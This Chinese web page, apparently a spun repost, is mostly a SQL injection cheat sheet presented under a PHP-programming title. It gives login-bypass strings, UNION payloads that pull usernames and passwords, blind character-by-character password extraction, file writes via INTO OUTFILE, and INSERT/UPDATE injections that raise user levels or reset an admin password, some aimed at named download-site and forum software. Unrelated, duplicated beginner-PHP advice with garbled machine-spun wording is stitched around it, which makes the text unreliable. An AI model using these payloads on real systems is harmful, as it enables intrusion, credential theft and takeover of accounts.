PHP编程:php打针库
不过还好,PHP语言给出的语法错误很详细,只要稍微熟悉一点之后,看错误提示就能很容易找出错误所在的。PHP还有一个特别好用的调试功能,在PHP语句中,你可以随时用echo来输出结果。' or 1=1
' or '1=1
'/*
'%23
' and password='mypass
id=-1 union select 1,1,1
id=-1 union select char(97),char(97),char(97)
id=1 union select 1,1,1 from members
id=1 union select 1,1,1 from admin
id=1 union select 1,1,1 from user
userid=1 and password=mypass
userid=1 and mid(password,3,1)=char(112)
userid=1 and mid(password,4,1)=char(97)
and ord(mid(password,3,1))>111(ord函数很好用,可以前往整形的)
' and LENGTH(password)='6(探测暗码长度)
' and LEFT(password,1)='m
' and LEFT(password,2)='my
…………………………顺次类推
' union select 1,username,password from user/*
' union select 1,username,password from user/*
=' union select 1,username,password from user/* (可所以1或=后直接跟)
99999' union select 1,username,password from user/*
' into outfile 'c:/file.txt (导出文件)
=' or 1=1 into outfile 'c:/file.txt
1' union select 1,username,password from user into outfile 'c:/user.txt
SELECT password FROM admins WHERE login='John' INTO DUMPFILE '/path/to/site/file.txt'
id=' union select 1,username,password from user into outfile
id=-1 union select 1,database(),version()(天真使用查询)
经常使用查询测试语句,
SELECT * FROM table WHERE 1=1
SELECT * FROM table WHERE 'uuu'='uuu'
SELECT * FROM table WHERE 1<>2
SELECT * FROM table WHERE 3>2
SELECT * FROM table WHERE 2<3
SELECT * FROM table WHERE 1
SELECT * FROM table WHERE 1+1
SELECT * FROM table WHERE 1--1
SELECT * FROM table WHERE ISNULL(NULL)
SELECT * FROM table WHERE ISNULL(COT(0))
SELECT * FROM table WHERE 1 IS NOT NULL
SELECT * FROM table WHERE NULL IS NULL
SELECT * FROM table WHERE 2 BETWEEN 1 AND 3
SELECT * FROM table WHERE 'b' BETWEEN 'a' AND 'c'
SELECT * FROM table WHERE 2 IN (0,1,2)
SELECT * FROM table WHERE CASE WHEN 1>0 THEN 1 END
例如:夜猫下载体系1.0版本
id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1
id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and groupid=1
union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 (交换,寻觅暗码)
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49 (验证第一名暗码)
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,2,1))=50(第二位)
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,3,1))=51
…………………………………………………………
例如2:灰色轨迹 变换id停止测试(meteor)
union%20(SELECT%20allowsmilies,public,userid,'0000-0-0',user(),version()%20FROM%20calendar_events%20WHERE%20eventid%20=%2013)%20order%20by%20eventdate
union%20(SELECT%20allowsmilies,public,userid,'0000-0-0',pass(),version()%20FROM%20calendar_events%20WHERE%20eventid%20=%2010)%20order%20by%20eventdate
机关语句:
SELECT allowsmilies,public,userid,eventdate,event,subject FROM calendar_events WHERE eventid = 1 union (select 1,1,1,1,1,1,1 from user where userid=1)
SELECT allowsmilies,public,userid,eventdate,event,subject FROM calendar_events WHERE eventid = 1 union (select 1,1,1,1,username,password from user where userid=1)
UNION%20(SELECT%201,0,2,'1999-01-01','a',password%20FROM%20user%20WHERE%20userid%20=%205)%20order%20by%20eventdate
UNION%20(SELECT%201,0,12695,'1999-01-01','a',password%20FROM%20user%20WHERE%20userid=13465)%20order%20by%20eventdate
UNION%20(SELECT%201,0,12695,'1999-01-01','a',userid%20FROM%20user%20WHERE%20username='sandflee')%20order%20by%20eventdate (查沙子的id)
(SELECT a FROM table_name WHERE a=10 AND B=1 ORDER BY a LIMIT 10)
SELECT * FROM article WHERE articleid='$id' UNION SELECT * FROM……(字段和数据库不异情形下,可直接提交)
SELECT * FROM article WHERE articleid='$id' UNION SELECT 1,1,1,1,1,1,1 FROM……(分歧的情形下)
特别技能:在表单,搜刮引擎等中央写:
“___”
“.__ ”
“%
%' ORDER BY articleid/*
%' ORDER BY articleid#
__' ORDER BY articleid/*
__' ORDER BY articleid#
$command = "dir c:\";system($command);
SELECT * FROM article WHERE articleid='$id'
SELECT * FROM article WHERE articleid=$id
1' and 1=2 union select * from user where userid=1/* 句中变成
(SELECT * FROM article WHERE articleid='1' and 1=2 union select * from user where userid=1/*')
1 and 1=2 union select * from user where userid=1
语句模式:创立一个库,拔出:
CREATE DATABASE `injection`
CREATE TABLE `user` (
`userid` int(11) NOT NULL auto_increment,
`username` varchar(20) NOT NULL default '',
`password` varchar(20) NOT NULL default '',
PRIMARY KEY (`userid`)
) ;
INSERT INTO `user` VALUES (1, 'swap', 'mypass');
插如一个注册用户:
INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');
“INSERT INTO membres (login,password,nom,email,userlevel) VALUES ('$login','$pass','$nom','$email','1')";
INSERT INTO membres (login,password,nom,email,userlevel) VALUES ('','','','','3')#','1')
"INSERT INTO membres SET login='$login',password='$pass',nom='$nom',email='$email'";
INSERT INTO membres SET login='',password='',nom='',userlevel='3',email=''
"INSERT INTO membres VALUES ('$id','$login','$pass','$nom','$email','1')";
UPDATE user SET password='$password', homepage='$homepage' WHERE id='$id'
UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'
"UPDATE membres SET password='$pass',nom='$nom',email='$email' WHERE id='$id'";
UPDATE membres SET password='',nom='',userlevel='3',email=' ' WHERE id=''
"UPDATE news SET Votes=Votes+1, score=score+$note WHERE idnews='$id'";
长用函数:
DATABASE()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
好比:
UPDATE article SET title=$title WHERE articleid=1 对应函数
UPDATE article SET title=DATABASE() WHERE id=1
#把以后数据库名更新到title字段
UPDATE article SET title=USER() WHERE id=1
#把以后 MySQL 用户名更新到title字段
UPDATE article SET title=SYSTEM_USER() WHERE id=1
#把以后 MySQL 用户名更新到title字段
UPDATE article SET title=SESSION_USER() WHERE id=1
#把以后 MySQL 用户名更新到title字段
UPDATE article SET title=CURRENT_USER() WHERE id=1
#把以后会话被验证婚配的用户名更新到title字段
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
$req = "SELECT * FROM membres WHERE name LIKE '%$search%' ORDER BY name";
SELECT * FROM membres WHERE name LIKE '%%' ORDER BY uid#%' ORDER BY name
SELECT * FROM membres WHERE name LIKE '%%' ORDER BY uid#%' ORDER BY name
SELECT uid FROM admins WHERE login='' OR 'a'='a' AND password='' OR 'a'='a' (经典)
SELECT uid FROM admins WHERE login='' OR admin_level=1#' AND password=''
SELECT * FROM table WHERE msg LIKE '%hop'
SELECT uid FROM membres WHERE login='Bob' AND password LIKE 'a%'#' AND password=''
SELECT * FROM membres WHERE name LIKE '%%' ORDER BY uid#%' ORDER BY name
不懂的问题有很多高手帮你解决。但不要认为你是新手,就不能帮助别人,比如今天你学会了怎样安装PHP,明天还可能有朋友会问这个问题,你就可以给他解答,不要认为这是浪费时间,忙别人其实就是帮助自己。 环境搭建好,当你看见你的浏览器输出“it works\\\\\\\"时你一定是喜悦的。在你解决问题的时候,我强烈建议多读php手册。 找到的的资料很多都是在论坛里的,需要注册,所以我一般没到一个论坛都注册一个id,所有的id都注册成一样的,这样下次再进来的时候就不用重复注册啦。当然有些论坛的某些资料是需要的付费的。 爱上php,他也会爱上你。 小鸟是第一次发帖(我习惯潜水的(*^__^*) 嘻嘻……),有错误之处还请大家批评指正,另外,前些日子听人说有高手能用php写驱动程序,真是学无止境,人外有人,天外有天。 本人接触php时间不长,算是phper中的小菜鸟一只吧。由于刚开始学的时候没有名师指,碰过不少疙瘩,呗很多小问题卡过很久,白白浪费不少宝贵的时间,在次分享一些子的学习的心得。 说点我烦的低级错误吧,曾经有次插入mysql的时间 弄了300年结果老报错,其实mysql的时间是有限制的,大概是到203X年具体的记不清啦,囧。 有位前辈曾经跟我说过,phper 至少要掌握200个函数 编起程序来才能顺畅点,那些不熟悉的函数记不住也要一拿手册就能找到。所以建议新手们没事就看看php的手册(至少array函数和string函数是要记牢的)。 多看优秀程序员编写的代码,仔细理解他们解决问题的方法,对自身有很大的帮助。 有位前辈曾经跟我说过,phper 至少要掌握200个函数 编起程序来才能顺畅点,那些不熟悉的函数记不住也要一拿手册就能找到。所以建议新手们没事就看看php的手册(至少array函数和string函数是要记牢的)。 首先我是坚决反对新手上来就用框架的,因为对底层的东西一点都不了解,造成知识上的真空,会对以后的发展不利。我的观点上手了解下框架就好,代码还是手写。当然啦如果是位别的编程语言的高手的话,这个就另当别论啦。 最后祝愿,php会给你带来快乐的同时 你也会给他带来快乐。 如果你已经到这种程度了,那么你已经可以做我的老师了。其实php也分很多的区域, 我要在声明一下:我是个菜鸟!!我对php这门优秀的语言也是知之甚少。但是我要在这里说一下php在网站开发中最常用的几个功能: 其实没啥难的,多练习,练习写程序,真正的实践比看100遍都有用。不过要熟悉引擎 本文当是我的笔记啦,遇到的问题随时填充 我还是强烈建议自己搭建php环境。因为在搭建的过程中你会遇到一些问题,通过搜索或是看php手册解决问题后,你会更加深刻的理解它们的工作原理,了解到php配置文件中的一些选项设置。 说点我烦的低级错误吧,曾经有次插入mysql的时间 弄了300年结果老报错,其实mysql的时间是有限制的,大概是到203X年具体的记不清啦,囧。 多看优秀程序员编写的代码,仔细理解他们解决问题的方法,对自身有很大的帮助。 多看优秀程序员编写的代码,仔细理解他们解决问题的方法,对自身有很大的帮助。
页:
[1]
2